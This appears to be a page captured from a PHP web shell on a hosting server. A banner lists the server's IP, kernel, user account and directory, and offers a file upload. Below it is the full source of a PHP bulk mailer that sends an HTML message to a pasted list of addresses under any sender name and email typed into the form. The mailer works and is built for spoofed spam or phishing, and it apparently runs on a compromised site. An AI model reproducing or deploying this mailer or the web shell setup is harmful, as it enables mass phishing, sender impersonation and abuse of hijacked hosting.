Server IP : 162.0.215.126 / Your IP : 216.73.216.224 Web Server : LiteSpeed System : Linux business105.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64 User : tektomgb ( 586) PHP Version : 8.1.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/tektomgb/tektk77situs.us/rex/l/ |
Upload File : |
<?php // Check if the form is submitted if ($_SERVER["REQUEST_METHOD"] == "POST") { // Collect and sanitize input data $emailList = isset($_POST['emailList']) ? $_POST['emailList'] : ''; $subject = isset($_POST['subject']) ? $_POST['subject'] : ''; $htmlMessage = isset($_POST['htmlMessage']) ? $_POST['htmlMessage'] : ''; $senderEmail = isset($_POST['senderEmail']) ? $_POST['senderEmail'] : ''; // Added sender email $senderName = isset($_POST['senderName']) ? $_POST['senderName'] : ''; // Added sender name // Splitting the email list into an array $emails = explode("\n", $emailList); // Headers for HTML content $headers = "MIME-Version: 1.0" . "\r\n"; $headers .= "Content-type:text/html;charset=UTF-8" . "\r\n"; // Adding From header $headers .= "From: " . htmlspecialchars($senderName) . " <" . htmlspecialchars($senderEmail) . ">" . "\r\n"; // Sending email to each address foreach ($emails as $email) { if (!mail(trim($email), $subject, $htmlMessage, $headers)) { echo "Failed to send email to: " . htmlspecialchars($email) . "<br>"; } } echo "Emails sent successfully!"; } ?> <!DOCTYPE html> <html> <head> <title>Send Email</title> </head> <body> <form action="" method="post"> <label for="emailList">Email Addresses (one per line):</label><br> <textarea id="emailList" name="emailList" rows="10" cols="30" required></textarea><br> <label for="subject">Subject:</label><br> <input type="text" id="subject" name="subject" required><br> <label for="htmlMessage">HTML Message:</label><br> <textarea id="htmlMessage" name="htmlMessage" rows="4" cols="50" required></textarea><br> <!-- Added fields for sender email and name --> <label for="senderEmail">Sender Email:</label><br> <input type="email" id="senderEmail" name="senderEmail" required><br> <label for="senderName">Sender Name:</label><br> <input type="text" id="senderName" name="senderName" required><br> <input type="submit" value="Send Email"> </form> </body> </html>